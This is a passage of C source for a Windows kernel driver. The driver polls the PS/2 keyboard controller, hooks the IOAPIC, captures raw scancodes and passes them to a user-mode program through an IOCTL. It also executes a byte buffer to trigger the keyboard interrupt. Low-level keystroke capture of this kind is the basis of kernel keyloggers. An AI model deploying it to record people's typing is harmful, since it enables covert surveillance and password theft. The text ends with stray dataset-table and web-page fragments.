WRITE_PORT_UCHAR((PUCHAR)0x64, 0x60); // Write KCCB
while((READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL));
WRITE_PORT_UCHAR((PUCHAR)0x60, kccByte);
//--------------------------------------------------------------------------
//Inp_Mask_KeyboardInterrupt(); // Double-Blocking
//
// Polling
//
while(!KeReadStateEvent(&pdx->kill))
{
if (KeGetCurrentIrql() == PASSIVE_LEVEL)
{
if ((data[0] = ReadOutputBuffer(&data[1], &pdx->kill)) == -1) break;
if (data[1] != -1)
{
if (pEvent)
KeSetEvent(pEvent, 0, 0);
if (GenerateScancode(data[0]))
DbgPrint("inp :: GenerateScancode() Timeout");
// Gate Firing - A Keyboard press event emulator
//
//
// INT instruction
//
// 0xCD imm8 - Interrupt vector number specified by immediate byte.
//
engine[1] = (unsigned char)InpGetKeyboardInterruptVector();
((void (*)(void))engine)(); // <-- Execute _asm INT InpGetKeyboardInterruptVector();
}
KeDelayExecutionThread(KernelMode, FALSE, &delayTime);
}
}
//Inp_Unmask_KeyboardInterrupt();
//--------------------------------------------------------------------------
// Write Keyboard controller RAM - enabling keyboard output buffer interrupt
//
kccByte = 0x47;
while((READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL));
WRITE_PORT_UCHAR((PUCHAR)0x64, 0x60); // Write KCCB
while((READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL));
WRITE_PORT_UCHAR((PUCHAR)0x60, kccByte);
//--------------------------------------------------------------------------
PsTerminateSystemThread(STATUS_SUCCESS);
}
void StopThread(PDEVICE_EXTENSION pdx)
{
KeSetEvent(&pdx->kill, 0, FALSE);
KeWaitForSingleObject(pdx->hThread, Executive, KernelMode, FALSE, NULL);
ObDereferenceObject(pdx->hThread);
}
NTSTATUS StartPollThread(PDEVICE_EXTENSION pdx)
{
//
// Programming the Windows Driver Model - p. 764 : Polling device
//
NTSTATUS status;
HANDLE hThread;
OBJECT_ATTRIBUTES oa;
KeInitializeEvent(&pdx->kill, NotificationEvent, FALSE);
InitializeObjectAttributes(&oa, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
status = PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, &oa, NULL, NULL, (PKSTART_ROUTINE)ThreadProc, pdx);
if (!NT_SUCCESS(status))
return status;
ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pdx->hThread, NULL);
ZwClose(hThread);
return STATUS_SUCCESS;
}
/*
*
* Driver Template
*
*/
VOID DrvUnload(IN PDRIVER_OBJECT pDriverObject)
{
PDEVICE_OBJECT pDeviceObject;
UNICODE_STRING uniWin32NameString;
StopThread(globalPdx);
InpIOAPICDisconnection(&IOAPICGate);
if (pEvent)
{
ObDereferenceObject(pEvent); // delete event reference
pEvent = NULL;
}
pDeviceObject = pDriverObject->DeviceObject;
RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
IoDeleteSymbolicLink( &uniWin32NameString );
IoDeleteDevice( pDriverObject->DeviceObject );
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath)
{
PDEVICE_OBJECT pDeviceObject = NULL;
NTSTATUS ntStatus;
UNICODE_STRING uniNtNameString, uniWin32NameString;
int i;
RtlInitUnicodeString( &uniNtNameString, NT_DEVICE_NAME );
ntStatus = IoCreateDevice (
pDriverObject,
sizeof(DEVICE_EXTENSION), // DeviceExtensionSize
&uniNtNameString,
FILE_DEVICE_UNKNOWN, //
0, // No standard device characteristics
FALSE, // not exclusive device
&pDeviceObject
);
if( !NT_SUCCESS(ntStatus) )
{
return ntStatus;
}
globalPdx = pDeviceObject->DeviceExtension;
// create dispatch points for create/open, close, unload
pDriverObject->DriverUnload = DrvUnload;
RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
ntStatus = IoCreateSymbolicLink( &uniWin32NameString, &uniNtNameString );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice( pDriverObject->DeviceObject );
}
for( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++ )
pDriverObject->MajorFunction[i] = IoDispatch;
pDriverObject->MajorFunction[IRP_MJ_READ] =
pDriverObject->MajorFunction[IRP_MJ_WRITE] = IoReadWrite;
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoDeviceControl;
///// /////
// //
// Start!!! //
// //
///// /////
InpIOAPICConnection(&IOAPICGate);
StartPollThread(globalPdx);
return STATUS_SUCCESS;
} //DriverEntry
NTSTATUS IoDispatch(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
NTSTATUS iStatus = STATUS_SUCCESS;
pIrp->IoStatus.Status = iStatus;
pIrp->IoStatus.Information = 0;
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
return iStatus;
}
NTSTATUS IoDeviceControl(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
NTSTATUS iStatus = STATUS_SUCCESS;
PIO_STACK_LOCATION pStack;
ULONG iTransfered = 0;
HANDLE hEvent;
pStack = IoGetCurrentIrpStackLocation(pIrp);
switch( pStack->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_REGISTER_EVENT:
hEvent = * (PHANDLE) pIrp->AssociatedIrp.SystemBuffer;
iStatus = ObReferenceObjectByHandle(hEvent, EVENT_MODIFY_STATE, *ExEventObjectType, pIrp->RequestorMode, (PVOID *)&pEvent, NULL);
break;
case IOCTL_REQUEST_DATA:
memcpy( (void *)pIrp->AssociatedIrp.SystemBuffer, (const void *)data, sizeof(char [2]));
iTransfered = sizeof(char [2]);
break;
default:
iStatus = STATUS_INVALID_PARAMETER;
break;
}
pIrp->IoStatus.Status = iStatus;
pIrp->IoStatus.Information = iTransfered;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return iStatus;
}
NTSTATUS IoReadWrite(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
NTSTATUS iStatus = STATUS_SUCCESS;
PIO_STACK_LOCATION pStack;
ULONG iTransfered = 0;
pStack = IoGetCurrentIrpStackLocation(pIrp);
pIrp->IoStatus.Status = iStatus;
pIrp->IoStatus.Information = iTransfered;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return iStatus;
}
| 26.519362 | 133 | 0.659165 | [
"vector",
"model"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.